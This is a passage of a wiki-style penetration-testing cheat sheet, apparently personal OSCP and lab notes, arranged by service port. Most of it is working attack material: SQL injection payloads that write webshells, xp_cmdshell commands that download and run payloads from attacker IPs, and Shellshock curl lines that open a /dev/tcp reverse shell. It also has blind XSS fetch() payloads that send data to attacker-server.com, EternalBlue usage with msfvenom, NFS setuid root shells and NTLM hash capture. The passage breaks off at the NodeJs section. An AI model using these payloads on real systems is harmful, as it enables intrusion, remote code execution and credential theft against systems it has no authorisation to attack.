<syntaxhighlight lang="bash">
# nikto
nitko -h > output.txt
# crawleet
python crawleet.py -u -b -d 3 -e jpg,png,css -f -m -s -x php,txt -y --threads 20
</syntaxhighlight>

=== SQL injection ===

==== Cheatsheet and good articles ====

[https://www.tarlogic.com/en/blog/red-team-tales-0x01/ https://www.tarlogic.com/en/blog/red-team-tales-0x01/]

[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection] (Click on the SQL server that is used)

[https://book.hacktricks.xyz/pentesting-web/sql-injection/mssql-injection https://book.hacktricks.xyz/pentesting-web/sql-injection/mssql-injection]

[https://sqlwiki.netspi.com/injectionTypes/errorBased/#sqlserver https://sqlwiki.netspi.com/injectionTypes/errorBased/#sqlserver]

See notes for 10.11.1.229

==== Theory ====

<syntaxhighlight lang="bash">
Databases --> Tables --> Column_names
# Queries
# Show all tables in database information_schema
table_name FROM information_schema.tables
# use information_schema, show all column_name from table wp_users
column_name FROM information_schema.columns WHERE table_name='wp_users'
# Show all information in user_login column from table wp_users
user_login FROM wp_users
</syntaxhighlight>

==== Authentication Bypass ====

<syntaxhighlight lang="bash">
# Show me all columns and rows for users with a name of User1 or where one equals one. Since 1=1 condition is always true, all rows will be returned.
'user1' or 1=1
# If error encountered we can instruct the query to return a fixed number of records with the LIMIT statement
'user1' or 1=1 LIMIT1;#

' or 1=1; -- -
</syntaxhighlight>

==== Basic SQL Injection ====

<syntaxhighlight lang="bash">
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
https://blog.aghanim.net/?p=1203
# ENTRY POINT DETECTION
## Detection of an SQL injection entry point Simple characters
'
%27
"
%22
#
%23
;
%3B
)
Wildcard (*)
' # required for XML content
## Multiple encoding
%%2727
%25%27
## Merging characters
`+HERP
'||'DERP
'+'herp
' 'DERP
'%20'HERP
'%2B'HERP
## Logic Testing
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
</syntaxhighlight>

==== Enumerate Database ====

<syntaxhighlight lang="bash">
# Use 'order by' clause to tell the database to sort the results of the query by the values in one or more columns. Increment value by 1 until error.
# If error out on 4, that means that there are 3 columns.
?id=1 order by 1
# UNION statement allow us to add a second select statement to the orignal query. SEE PIC BELOW
http://localhost/debug.php?id=1 union all select 1, 2, 3
# Only two columns are displayed, 2 and 3. So if we have a column named username and passord from table users, we can write it like this to display conent of username and password
?id=1 union all select 1, username, password from users
# MariaDB version
?id=1 union all select 1, 2, @@version
# Database user
?id=1 union all select 1, 2, user()
# Enumerate database tables and column structures through 'information_schema'
?id=1 union all select 1, 2, table_name from information_schema.tables
?id=1 union all select 1, 2, column_name from information_schema.columns where table_name='users'
?id=1 union all select 1, username, password from users
</syntaxhighlight>

[[File:2022-09-image-2.png|thumb]]

==== SQLmap ====

<syntaxhighlight lang="bash">
# Basic arguments for SQLmap
sqlmap --url="" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs
# Load a request file and use mobile user-agent
sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1
# Custom injection in UserAgent/Header/Referer/Cookie
python sqlmap.py -u "http://example.com" --data "username=admin&password=pass" --headers="x-forwarded-for:127.0.0.1*"
## The injection is located at the '*'
# SHELL
## SQL Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --sql-shell
## Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
## Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
## SSH Shell by dropping an SSH key
python sqlmap.py -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/
# Crawl a website with SQLmap and auto-exploit
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
# Using TOR with SQLmap
sqlmap -u "http://www.target.com" --tor --tor-type=SOCKS5 --time-sec 11 --check-tor --level=5 --risk=3 --threads=5
# Using a proxy with SQLmap
sqlmap -u "http://www.target.com" --proxy="http://127.0.0.1:8080"
# Using Chrome cookie and a Proxy
sqlmap -u "https://test.com/index.php?id=99" --load-cookie=/media/truecrypt1/TI/cookie.txt --proxy "http://127.0.0.1:8080" -f --time-sec 15 --level 3
# Using suffix to tamper the injection
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
# General tamper option and tamper's list
tamper=name_of_the_tamper
# SQLMap supports a `--test-filter` flag. This flag tells SQLMap to test for payloads that match a specific pattern.
https://twitter.com/kuldeepdotexe/status/1687897180953034754
sqlmap -u https://lab_host/filter\?category\=Food+%26+Drink -p category --test-filter="Generic UNION query (NULL)"
</syntaxhighlight>

==== Union based sqli ====

<syntaxhighlight lang="bash">
# Enumerate column
# Add ,NULL until no more erros. Thats how many column there is.
# To determin where there is data, remove one NULL and add random data. If no error, then there is data there.
' UNION SELECT NULL--
' UNION SELECT NULL,NULL,NULL FROM DUAL--
' UNION SELECT table_name,NULL,NULL FROM all_tables--
' UNION SELECT COLUMN_NAME,NULL,NULL FROM all_tab_columns WHERE table_name='WEB_ADMINS'--
Blog entry from ADMIN_NAME with title null from 0
Blog entry from PASSWORD with title null from 0
' UNION SELECT ADMIN_NAME,PASSWORD,NULL FROM WEB_ADMINS--
' UNION SELECT COLUMN_NAME,NULL,NULL FROM all_tab_columns WHERE table_name='WEB_USERS'--
Blog entry from PASSWORD with title null from 0
Blog entry from USER_ID with title null from 0
Blog entry from USER_NAME with title null from 0
' UNION SELECT USER_NAME,NULL,NULL FROM WEB_USERS--
Blog entry from alice with title null from 0
Blog entry from eric with title null from 0
Blog entry from maria with title null from 0
' UNION SELECT PASSWORD,NULL,NULL FROM WEB_USERS--
Blog entry from bobismyuncle with title null from 0
Blog entry from letmein with title null from 0
Blog entry from thisismypassword with title null from 0
</syntaxhighlight>

==== Usuful commands (Upload shells) ====

<syntaxhighlight lang="sql">
# Test SQLI with sleep
# Double hyphen is used to out-comment rest of the query
' UNION SELECT sleep(5); -- -
# Write a webshell
UNION SELECT "" into outfile "C:\\xampp\\htdocs\\backdoor.php"
UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY ''
' UNION SELECT (" into OUTFILE 'c:/xampp/htdocs/backdoor.php'
# Code execution
?id=1 union all select 1, 2, load_file('C:/Windows/win.ini')
# Mssql download shell, output it, and execute it
';EXEC xp_cmdshell 'certutil -urlcache -split -f "http://192.168.119.176/shell.exe" C:\windows\temp\shell.exe&& cmd.exe /c C:\windows\temp\shell.exe
# XP_dirtree - Remember to start responder or impacket-smbserver
1'; use master; exec xp_dirtree '\\192.168.119.176\SHARE';--
</syntaxhighlight>

=== SSRF ===

==== Capture hash ====

<syntaxhighlight lang="bash">
# Example from PG Heist
# On target website
http://heist.offsec:8080/?url=http://192.168.49.247:80
# On attacker
┌──(root💀kali)-[/home/aghanim/Desktop/PG/heist]
└─# responder -I tun0
[+] Listening for events...
[HTTP] NTLMv2 Client : ::ffff:192.168.247.165
[HTTP] NTLMv2 Username : HEIST\enox
[HTTP] NTLMv2 Hash : enox::HEIST:9d578233382be8e1:0CB1CB346E8C78CF508746D763D78FCB:010100[...]
# Hash format
netntlmv2
</syntaxhighlight>

=== SSTI ===

[https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection SSTI (Server Side Template Injection) - HackTricks]

<syntaxhighlight lang="bash">
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell -e ENCODEDCOMMAND");
</syntaxhighlight>

=== XSS ===

[https://github.com/payloadbox/xss-payload-list/blob/master/README.md https://github.com/payloadbox/xss-payload-list/blob/master/README.md]

==== Blind XSS ====

'''USING GET REQUEST'''

Send this to the vulnernable form parameter

<syntaxhighlight lang="bash">
Feedback=">fetch('http://10.10.109.42:8080/flag.txt').then(response => response.text()).then(data => fetch('http://10.9.17.250/receive?data=' + encodeURIComponent(data)));
</syntaxhighlight>

Set up a listener, like python http server og netcat and wait for the connection.

<syntaxhighlight lang="bash">
nc -lvnp 80
listening on [any] 80 ...
connect to [10.9.17.250] from (UNKNOWN) [10.10.109.42] 44532
GET /receive?data=THM%7B83... HTTP/1.1
Host: 10.9.17.250
Connection: keep-alive
user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/119.0.6045.105 Safari/537.36
accept: */*
origin: http://127.0.0.1:8080
X-Simulate: 17bec089830b56b2980e5c97c46fe25147e09247
Referer: http://127.0.0.1:8080/
Accept-Encoding: gzip, deflate
</syntaxhighlight>

'''USING POST REQUEST'''

* '''Host the Script''': You need to have control over the server at [http://10.9.17.250 http://10.9.17.250] . On this server, you'll place your JavaScript code in a file, typically with a .js extension (even though you mentioned test.txt , it's more common to use .js for JavaScript files).

* '''Write the JavaScript Code''': The JavaScript code that fetches the content from [http://10.10.109.42:8080/flag.txt http://10.10.109.42:8080/flag.txt] and then sends it to your server needs to be written and saved in the file you're hosting (say script.js ).

Here's an example of what your JavaScript file ( script.js ) might contain:

<syntaxhighlight lang="markup">
fetch('http://10.10.109.42:8080/flag.txt')
.then(response => response.text())
.then(data => {
fetch('http://10.9.17.250/receive', { // Change the endpoint as needed
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: `data=${encodeURIComponent(data)}`
});
});
</syntaxhighlight>

You can alos send this directly instead of hosting it:

<syntaxhighlight lang="markup">
Feedback=">fetch('/profile').then(response => response.json()).then(data => fetch('http://attacker-server.com', {method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify(data)}));
</syntaxhighlight>

3. Inject the payload in the form

<syntaxhighlight lang="markup">
Feedback=">">
</syntaxhighlight>

4. Setup a receiver:

<syntaxhighlight lang="python">
from flask import Flask, request
app = Flask(__name__)
@app.route('/receive', methods=['POST'])
def receive_data():
data = request.get_json()
print(data)
return 'Data received', 200
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
</syntaxhighlight>

=== Bypass robots.txt "You are not a search engine. Permission denied." ===

<syntaxhighlight lang="bash">
Set User-Agent to "User-Agent: Googlebot/2.1 (+http://www.googlebot.com/bot.html)"
</syntaxhighlight>

=== ShellShock (CGI) ===

<syntaxhighlight lang="bash">
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" /cgi-bin/
</syntaxhighlight>

<syntaxhighlight lang="bash">
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.10.17/4444 0>&1' http://10.10.10.56/cgi-bin/
</syntaxhighlight>

=== CMS/Webservers ===

==== Apache James ====

<syntaxhighlight lang="bash">
# See writeup 10.11.1.72 PWK
# Apache James Server 2.3.2
https://www.exploit-db.com/exploits/50347
</syntaxhighlight>

==== Drupal ====

<syntaxhighlight lang="bash">
droopscan scan -u
</syntaxhighlight>

===== Username Enumeration =====

<syntaxhighlight lang="bash">
Register
In /user/register try to create a username, and if the name is already taken it will be notified
Register new password
If you request a new password for an exisiting username.
If you request a new password for a non-existent username:
Number of users enumeration
Accessing /user/ you can see the number of exisinting users.
- /user/4 -> Access denied (user exist)
- /user/5 -> Page not found (user dosent exist)
There are 4 existing users.
</syntaxhighlight>

===== Hidden pages enumeration =====

<syntaxhighlight lang="bash">
Fuzz /node/$ where $ is a number (from 1 to 500 for example).
You could find hidden pages (test, dev) which are not referenced by the search engine.
wfuzz -c -z range,1-500 -hc 404 /node/FUZZ
</syntaxhighlight>

==== FuelCMS ====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/47138
</syntaxhighlight>

==== Gitstack portal ====

<syntaxhighlight lang="bash">
# Go to gitstack portal
# Try default admin:admin
# Click on stack menu.
# Choose the command portal option.
# replace stack.php?cmd=hello
# with
# stack.php?cmd=hello;whoami
</syntaxhighlight>

==== IIS - Internet Information Services ====

==== Jenkins ====

===== Remote Code execution =====

<syntaxhighlight lang="bash">
# See writeup 10.5.5.25 PWK
Select New Item --> Freestyle project --> Choose build --> Windows batch command (Or Execute shell for Linux)
</syntaxhighlight>

==== Joomla ====

==== Ovidentia ====

<syntaxhighlight lang="bash">
See writeup 10.11.1.73 PWK
</syntaxhighlight>

==== Tiki wiki ====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/40053
</syntaxhighlight>

==== PHPLiteAdmin ====

<syntaxhighlight lang="bash">
# See writeup 10.11.1.116 PWK
# PHPLiteAdmin 1.9.3
# https://www.exploit-db.com/exploits/24044
</syntaxhighlight>

==== Tomcat ====

==== werkzeug ====

==== WebDAV ====

<syntaxhighlight lang="bash">
davtest -url http://10.10.10.15
</syntaxhighlight>

===== Curl commands with webDAV =====

<syntaxhighlight lang="bash">
# Reading Files/Folders
curl 'http://example.com/webdav'
# Creating new Folder
curl -X MKCOL 'http://example.com/webdav/new_folder'
# Uploading File
curl -T '/path/to/local/file.txt' 'http://example.com/webdav/test/new_name.txt'
curl --upload-file http:///test/
curl -T 'cmdasp.aspx' 'http://192.168.89.122/cmd.aspx' --user fmcsorley:CrabSharkJellyfish192
# Renaming File
curl -X MOVE --header 'Destination:http://example.org/webdav/new.txt' 'http://example.com/webdav/old.txt'
# Deleting Files/Folders
# File:
curl -X DELETE 'http://example.com/webdav/test.txt'
# Folder:
curl -X DELETE 'http://example.com/webdav/test'
</syntaxhighlight>

==== Wordpress ====

<syntaxhighlight lang="bash">
wpscan --url
</syntaxhighlight>

===== Change user pass in Mysql =====

<syntaxhighlight lang="bash">
# Example 1
use wp_genesis;
SELECT ID, user_login, user_pass FROM wp_users;
UPDATE wp_users SET user_pass = MD5(‘WPEXPLORER’) WHERE ID=1 LIMIT 1;
# Example 2
select * from wp_users;
UPDATE `wp_users` SET `user_pass`= MD5('bypassed') WHERE
`user_login`='admin';
</syntaxhighlight>

===== Panel RCE =====

<syntaxhighlight lang="bash">
Edit the 404.php file in Wordpress dashobard. Appereance --> Editor --> 404 Template.
Add php-reverse-shell.php.
Visit http:///wp-content/themes/twentytwelve/404.php
</syntaxhighlight>

===== Plugin RCE =====

<syntaxhighlight lang="bash">
https://github.com/x3rz/malicious-wordpress-plugin
# Edit php reverse shell and add IP and port
# Go to Plugin -> Add new -> Upload plugin
# Upload the zip file
# Visit url http:///wp-content/plugins/MyPlugin/malplugin.php
</syntaxhighlight>

=== Webshell ===

==== PHP webshell, php code, php execution, php command ====

<syntaxhighlight lang="bash">

</syntaxhighlight>

=== WebApplication Firewall (WAF) ===

=== fireprox -Rotate source IP ===

<syntaxhighlight lang="bash">
# https://github.com/ustayready/fireprox

</syntaxhighlight>

==== Waf Bypass ====

<syntaxhighlight lang="bash">
https://portswigger.net/bappstore/ae2611da3bbc4687953a1f4ba6a4e04c
See notes for XposedAPI. Add header to GET request in burp. (One of them) and see result.
X-Originating-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1
</syntaxhighlight>

----

== 88 - KERBEROS ==

----

== 110 - POP3 ==

<syntaxhighlight lang="bash">
# Login
telnet 192.168.196.137 110
Trying 192.168.196.137...
Connected to 192.168.196.137.
Escape character is '^]'.
+OK Dovecot (Ubuntu) ready.
USER sales
+OK
PASS sales
+OK Logged in.
# List emails
list
# Read mail
RETR
</syntaxhighlight>

----

== 113 - ident ==

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/network-services-pentesting/113-pentesting-ident
ident-user-enum 192.168.207.60 22 113 8080 10000
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
192.168.207.60:22 root
192.168.207.60:113 nobody
192.168.207.60:8080
192.168.207.60:10000 eleanor
</syntaxhighlight>

----

== 135, 593 - MS RPC ==

=== Enum with creds ===

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb/rpcclient-enumeration
# If you have access to rpcclient, you can enumerate target
# Users enumeration
List users: querydispinfo and enumdomusers
Get user details: queryuser
Get user groups: queryusergroups
GET SID of a user: lookupnames
Get users aliases: queryuseraliases [builtin|domain]
# Groups enumeration
List groups: enumdomgroups
Get group details: querygroup
Get group members: querygroupmem
Aliasgroups enumeration
List alias: enumalsgroups
Get members: queryaliasmem builtin|domain
# Domains enumeration
List domains: enumdomains
Get SID: lsaquery
Domain info: querydominfo
# Shares enumeration
Enumerate all available shares: netshareenumall
Info about a share: netsharegetinfo
# More SIDs
Find SIDs by name: lookupnames
Find more SIDs: lsaenumsid
RID cycling (check more SIDs): lookupsids
</syntaxhighlight>

=== Password Reset over RPC ===

<syntaxhighlight lang="bash">
# https://room362.com/post/2017/reset-ad-user-password-with-linux/
rpcclient $> setuserinfo2
rpcclient $> setuserinfo2 audit2020 23 'Password123!'
# One-liner
root@kali# rpcclient -U 'blackfield.local/support%#00^BlackKnight' 10.10.10.192 -c 'setuserinfo2 audit2020 23 "Password123!"'
</syntaxhighlight>

----

== 139, 445 - SMB/SAMBA ==

=== Brute force ===

<syntaxhighlight lang="bash">
crackmapexec smb -u -p
hydra -V -f -L -P smb:// -u -vV
</syntaxhighlight>

=== Capture hash using responder or smbserver ===

<syntaxhighlight lang="bash">
# On attacker start responder or smbserver.
responder -I attackerip
/usr/bin/impacket-smbserver share . -smb2support
# On target
dir \\attackerip\something
view=//attackerip/share
# Looking at the smbserver or responder you should have a NetNTLM hash. Copy all the text and use hashcat -m 5600 to crack it.
# Example
ted::EXAM:aaaaaaaaaaaaaaaa:a8ecd5aa9380ac8a4fbb1675b1ecaaaf:010100000000000000171a603bf4d801c188d310ceebaab30000000001001000680070006d00700048004d004600620003001000680070006d00700048004d00460062000200100075006d005200700049007400570058000400100075006d005200700049007400570058000700080000171a603bf4d8010600040002000000080030003000000000000000010000000020000096dbb345b8d0cc5a1bc8d14cd3277457913639d19c3307e6e04ee03bb7864ee20a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100310039002e003200330036000000000000000000
</syntaxhighlight>

=== Command Execution through smbmap ===

<syntaxhighlight lang="bash">
smbmap -u 'backup' -p 'backup' -H 10.11.1.227 -x "net user" --mode psexec
</syntaxhighlight>

=== Download files ===

<syntaxhighlight lang="bash">
#Download all
smbclient ///
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory

# Download all files from a directory recursively
smbclient /// -U -c "prompt OFF;recurse ON;mget *"
</syntaxhighlight>

=== EternalBlue ms17-010 ===

<syntaxhighlight lang="bash">
https://github.com/worawit/MS17-010/
https://github.com/helviojunior/MS17-010 # Modified version of worawits repo
# If windows xp, use send_and_execute.py
# Generate payload using msfvenom
python2 send_and_execute.py 10.10.10.10 shell.exe
</syntaxhighlight>

=== Enumerate samba version ===

[https://4pfsec.com/manually-enumerating-smb-version/ https://4pfsec.com/manually-enumerating-smb-version/]

<syntaxhighlight lang="bash">
# Run the below script while wireshark is listening
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 8 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 10 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
# Once you've run the script, go back to wireshark and follow one of the smb TCP stream
</syntaxhighlight>

[[File:2022-09-image-1.png|thumb]]

=== Enumerate ===

<syntaxhighlight lang="bash">
enum4linux -A
nmap -v -p 139,445 -oG smb.txt 192.168.11.200-254
nbtscan -r 192.168.11.0/24
nmblookup -A target
rpcclient -U "" target // connect as blank user /nobody
smbclient ///
smbclient -L //
smbclient //192.168.31.147/kathy -I 192.168.31.147
smbmap -H
smbmap -u '' -p '' -H
smbmap -u 'guest' -p '' -H
smbmap -u '' -p '' -H -R
smbmap -u "" -p "" -d MYGROUP -H 10.11.1.22
crackmapexec smb
crackmapexec smb -u '' -p ''
crackmapexec smb -u 'guest' -p ''
crackmapexec smb -u '' -p '' --shares
</syntaxhighlight>

=== Mount share ===

<syntaxhighlight lang="bash">
mount -t auto --source //x.x.x.x
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
smbclient ///
smbclient /// -U
</syntaxhighlight>

=== Shell ===

<syntaxhighlight lang="bash">
psexec.py /:@
psexec.py /@ -hashes :
wmiexec.py /:@
wmiexec.py /@ -hashes :
smbexec.py /:@
smbexec.py /@ -hashes :
atexec.py /:@
atexec.py /@ -hashes :
</syntaxhighlight>

=== Eternal Blue ===

<syntaxhighlight lang="bash">
MS17-010 - EternalBlue
MS08-067 - MS08-067
CVE-2017-7494 - CVE-2017-7494
# Send_and_Exectue.py
msfvenom -p windows/shell_reverse_tcp -f exe LHOST=10.10.14.17 LPORT=4444 > exploit.exe
python2 send_and_execute.py 10.10.10.40 exploit.exe
-----------------------------------------
# Command Execution
https://www.exploit-db.com/exploits/42315
# Uncomment this line and add your CMD
service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
-----------------------------------------
# AutoBlue
# Generate shellcode from shell_prep.sh
https://github.com/3ndG4me/AutoBlue-MS17-010
python eternalblue_exploit*.py
</syntaxhighlight>

=== Man in the middle ===

==== URI file attack ====

<syntaxhighlight lang="bash">
# See writeup for Vault
# If Windows host and SMB share is writeable we can upload a file that the target will interpret as a Windows shortcut. We will need Responder.
Kali > cat @file.url # Can also save as desktop.ini
[InternetShortcut]
URL=anything
WorkingDirectory=anything
IconFile=\\192.168.118.14\%USERNAME%.icon
IconIndex=1
# Start responder
sudo responder -I tun0 -v
# Hashtype
net-NTLMv2
# Upload file to SMB and wait for a user to access the file.
</syntaxhighlight>

----

== 161 - SNMP ==

<syntaxhighlight lang="bash">
snmp-check [-p PORT]
</syntaxhighlight>

----

== 194,6667,6660-7000 - IRC ==

<syntaxhighlight lang="bash">
# Can use different clients, like irssi
# See notes from box; UT99
#Connection with random nickname
USER ran213eqdw123 0 * ran213eqdw123
NICK ran213eqdw123
#If a PING : is responded you need to send
#PONG :
VERSION
HELP
INFO
LINKS
HELPOP USERCMDS
HELPOP OPERCMDS
OPERATOR CAPA
ADMIN #Admin info
USERS #Current number of users
TIME #Server's time
STATS a #Only operators should be able to run this
NAMES #List channel names and usernames inside of each channel -> Nombre del canal y nombre de las personas que estan dentro
LIST #List channel names along with channel banner
WHOIS #WHOIS a username
USERHOST #If available, get hostname of a user
USERIP #If available, get ip of a user
JOIN #Connect to a channel
#Operator creds Brute-Force
OPER
</syntaxhighlight>

----

== 389, 636, 3268, 3269 - LDAP ==

=== Enumerate LDAP ===

<syntaxhighlight lang="bash">
nmap -n -sV --script "ldap* and not brute" -p 389 dc-ip
</syntaxhighlight>

=== Dump LDAP info ===

Must have valid credentials

<syntaxhighlight lang="bash">
pip3 install ldapdomaindump
ldapdomaindump [-r ] -u '\' -p '' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
</syntaxhighlight>

=== Search queries ===

<syntaxhighlight lang="bash">
# ldapsearch opens a connection to an LDAP server, binds, and performs a search using specified parameters.
ldapsearch -x -h -b "dc=XXXX"
# Example
ldapsearch -x -H LDAP://192.168.89.122 -b "dc=hutch,dc=offsec"
</syntaxhighlight>

----

== 873 - rsync ==

=== Commands ===

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/network-services-pentesting/873-pentesting-rsync
# List shares
rsync -av --list-only rsync://192.168.243.126/
# Upload files
rsync -av test.txt rsync://192.168.243.126/fox
</syntaxhighlight>

=== Upload SSH key ===

<syntaxhighlight lang="bash">
# 1 Generate an SSH key
ssh-keygen -t rsa
# 2 If you are in a users folder, create a .ssh
mkdir .ssh
rsync -av .ssh TARGET_IP/home_dir/
# 3 Create a authorized_keys file and add the content of id_rsa.pub to this file
touch authorized_keys
echo -n 'CONTENT of id_rsa.pub' >> authorized_keys
# 4 Transfer the authorized_keys to the target
rsync -av authorized_keys TARGET_IP/home_dir/.ssh/
# 5 SSH into the machine. You need to know the owner of home_dir
ssh -i id_rsa USER@TARGETIP
</syntaxhighlight>

<syntaxhighlight lang="bash">
https://www.netspi.com/blog/technical/network-penetration-testing/linux-hacking-case-studies-part-1-rsync/
https://book.hacktricks.xyz/pentesting/873-pentesting-rsync
</syntaxhighlight>

----

== 1098/1099/1050 - Java RMI ==

[https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi]

<syntaxhighlight lang="bash">
# Running Remote Method Guesser
# https://github.com/qtc-de/remote-method-guesser#installation
java -jar rmg-4.3.0-jar-with-dependencies.jar
</syntaxhighlight>

----

== 1433 - MSSQL ==

=== Microsoft SQL Server 2017 directory locations ===

<syntaxhighlight lang="bash">
\program files\microsoft sql server\mssql14.sqlexpress\mssql\backup\master.mdf
</syntaxhighlight>

=== Execute commands ===

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#execute-commands
# Log in to mssql
/usr/bin/impacket-mssqlclient -db volume -windows-auth /:@
# Execute commands
# Username + Password + CMD command
crackmapexec mssql -d -u -p -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d -u -H -X '$PSVersionTable'
# this turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
# this enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE
# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Bypass blackisted "EXEC xp_cmdshell"
‘; DECLARE @x AS VARCHAR(100)=’xp_cmdshell’; EXEC @x ‘ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net’ —
</syntaxhighlight>

=== xp_cmdshell ===

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#hacktricks-automatic-commands
# Need credentials
sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G
###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go
2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go
3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
</syntaxhighlight>

=== Extracting hashes from .mdf file ===

<syntaxhighlight lang="bash">
https://github.com/xpn/Powershell-PostExploitation
# read this if troulbe
https://github.com/xpn/Powershell-PostExploitation/issues/1
# Run Powershell on linux
pwsh
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes> Add-Type -Path 'OrcaMDF.RawCore.dll'
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes> Add-Type -Path 'OrcaMDF.Framework.dll'
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes> import-module .\Get-MDFHashes.ps1
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes> Get-MDFHashes -mdf "./master.mdf"
</syntaxhighlight>

----

== 1521, 1522-1529 - Oracle TNS Listener ==

----

== 1978, 1979, 1980 - Remote Mouse ==

<syntaxhighlight lang="bash">
# Use nc to check header
# SIN 15win pwd pwd 300 : Indicating that the service requires authentication.
# SIN 15win nop nop 300 : Indicating that the service does not require authentication.
# Then use this exploit. Check writeup for PG mice and PWK IT dept 10.1.1.89.
https://github.com/p0dalirius/RemoteMouse-3.008-Exploit
# Edit the script to point to your Python HTTP server where nishang invoke tcp script is ready.
</syntaxhighlight>

----

== 2049 - NFS ==

=== no_root_squash ===

https://blog.aghanim.net/?p=1252#Privilege_Escalation_NFS

=== Access NFS through ssh tunnel ===

<syntaxhighlight lang="bash">
# Source https://medium.com/vieh-group/hacking-oscp-cheatsheet-ef63c43f919c
# Output from /etc/exports on target
/srv/Share 10.1.1.0/24(insecure,rw)
/srv/Share 127.0.0.1/32(no_root_squash,insecure,rw)
# Forward connection - Run the ssh command on attacker
ssh -f -N megumin@192.168.42.43 -L 2049:127.0.0.1:2049
mount -t nfs 127.0.0.1:/srv/pelota my_share
cd my_share
cat > shell.c
int main(){
setuid(0);
setgid(0);
system("/bin/bash");
}
EOF
gcc shell.c -o shell
chmod u+s shell
# Reverse connection - Run the ssh command on target
# Beware that this means target will access attacker through ssh. Not as safe as forward connection.
ssh -N -R 192.168.119.176:2221:127.0.0.1:2049 aghanim@192.168.119.176
mount -v -t nfs -o port=2221,tcp localhost:/srv/Share mount
</syntaxhighlight>

----

== 3000 - NodeJs ==

<syntaxhighlight lang="javascript">
https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell
# The Javascript code below is a Node.js reverse shell.
